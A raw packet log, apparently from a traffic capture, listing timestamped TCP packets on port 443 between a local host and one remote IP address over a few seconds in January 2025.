Jan 5, 2025 10:11:30.917058945 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.928898096 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.928955078 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.929032087 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.929076910 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.933618069 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.933660030 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.933676004 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.933684111 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.933718920 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.933733940 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.940498114 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.940548897 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.940573931 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.940639019 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.945332050 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.947737932 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.947791100 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.947824955 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.947868109 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.955037117 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.955096006 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.955152988 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.955202103 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.962280989 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.962335110 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.962371111 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.962418079 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.966671944 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.966722012 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.966903925 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.966955900 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.973867893 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.973916054 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.973941088 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.973979950 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.980714083 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.980777979 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.980808020 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.980817080 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.980858088 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.980876923 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.984546900 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.984595060 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.984627008 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.984668970 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.988221884 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.988272905 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.988280058 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.988327026 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.990593910 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.990648031 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.990716934 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.990765095 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.994488001 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.994549036 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.994604111 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.994652987 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.998358011 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.998425007 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.998442888 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.998502970 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.003014088 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.003068924 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.003103971 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.003151894 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.008122921 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.008157969 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.008177042 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.008184910 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.008212090 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.008234978 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.019476891 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.019603968 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.019608974 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.019618034 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.019709110 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.025365114 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.025485992 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.025549889 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.025646925 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.031244993 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.031341076 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.031351089 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.031368017 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.031399965 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.031419992 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.038388968 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.038446903 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.038499117 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.038542986 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.045739889 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.045850039 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.045866013 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.045875072 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.045944929 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.053060055 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.053132057 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.053141117 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.053148985 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.053267956 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.057416916 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.057507992 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.057508945 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.057524920 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.057559013 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.057579041 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.064534903 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.064606905 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.064621925 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.064681053 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.071434021 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.071508884 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.071511984 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.071522951 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.071553946 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.071580887 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.075249910 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.075335026 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.075335026 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.075350046 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.075417995 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.075417995 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.078808069 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.078886032 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.078896999 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.078989029 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.081233978 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.081312895 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.081319094 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.081330061 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.081388950 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.085186005 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.085253954 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.085263968 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.085272074 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.085299969 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.085319996 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.089114904 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.089163065 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.089170933 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.089183092 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.089212894 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.089221954 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.093766928 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.093888998 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.093900919 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.093920946 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.094014883 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.098377943 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.098438025 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.098439932 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.098453999 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.098546982 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.098570108 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.110198021 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.110256910 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.110269070 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.110318899 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.114974976 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.115154982 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.115156889 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.115178108 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.115201950 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.115248919 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.121793985 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.121906996 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.121921062 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.122009039 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.208678007 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.208694935 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.208765030 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.275559902 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.275569916 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.275583029 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.275593042 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.275685072 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.275692940 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.275710106 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.275718927 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.275811911 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.275820971 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.275839090 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.275841951 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.276015043 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.276025057 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.276068926 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.276078939 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.276176929 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.279501915 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.279571056 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.279675961 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.279818058 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.291558027 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.291610956 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.291631937 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.291642904 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.291677952 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.291704893 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.296108961 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.296164036 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.296207905 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.296252966 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.303126097 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.303189993 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.511329889 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.511468887 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:31.935336113 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:31.935497999 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:32.526515007 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:32.526531935 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:32.526544094 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:32.526623964 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:32.526631117 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:32.526647091 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:32.526675940 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:32.526719093 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:32.526725054 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:32.526738882 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:32.526748896 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:32.526797056 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:32.526803970 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:32.526853085 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:32.526865005 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:32.526880980 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:32.526890993 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:32.526916981 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:32.526954889 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:32.527012110 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:32.527112007 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:32.706851959 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:32.706868887 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:32.706942081 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:32.756161928 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:32.756172895 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:32.756195068 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:32.756217957 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:32.756525993 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:32.756534100 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:32.756546974 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:32.756625891 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:32.756731987 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:32.756740093 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:32.756808996 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:32.940191031 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:32.940216064 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:32.940331936 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:32.968321085 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:32.968333960 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:32.968375921 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:32.968400955 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:32.968559980 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:32.968569040 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:32.968578100 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:32.968641996 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:32.968652964 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:32.968763113 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:33.179337978 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:33.179445028 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:33.189950943 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:33.189960957 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:33.190066099 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:33.222131014 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:33.222142935 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:33.222165108 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:33.222177029 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:33.222311974 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:33.222321987 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:33.222335100 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:33.222349882 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:33.222368002 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:33.222373962 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:33.222378969 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:33.222476006 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:33.222560883 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:33.222570896 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:33.222630978 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:33.431335926 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:33.431397915 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:33.490552902 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:33.490575075 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:33.490649939 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:33.530010939 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:33.530021906 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:33.530046940 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:33.530064106 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:33.530189991 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:33.530200005 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:33.530216932 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:33.530235052 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:33.530282021 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:33.530287981 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:33.530394077 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:33.530400038 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:33.530421972 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:33.530448914 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:33.530489922 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:33.735337973 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:33.735433102 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:33.807055950 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:33.807071924 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:33.807147026 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:33.850588083 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:33.850600004 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:33.850613117 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:33.850626945 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:33.850699902 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:33.850708008 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:33.850719929 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:33.850740910 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:33.850774050 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:33.850780010 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:33.850855112 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:33.850922108 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:33.850928068 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:33.850950956 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:33.851037025 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:34.059331894 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:34.059405088 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:34.160094023 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:34.160106897 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:34.160124063 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:34.160139084 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:34.160276890 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:34.160285950 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:34.160298109 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:34.160315990 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:34.160355091 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:34.160360098 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:34.160455942 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:34.160464048 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:34.160502911 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:34.160561085 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:34.371323109 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:34.371407986 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:34.580218077 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:34.580229998 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:34.580243111 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:34.580250978 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:34.580389977 CET	62775	443	192.168.2.6	39.103.20.34
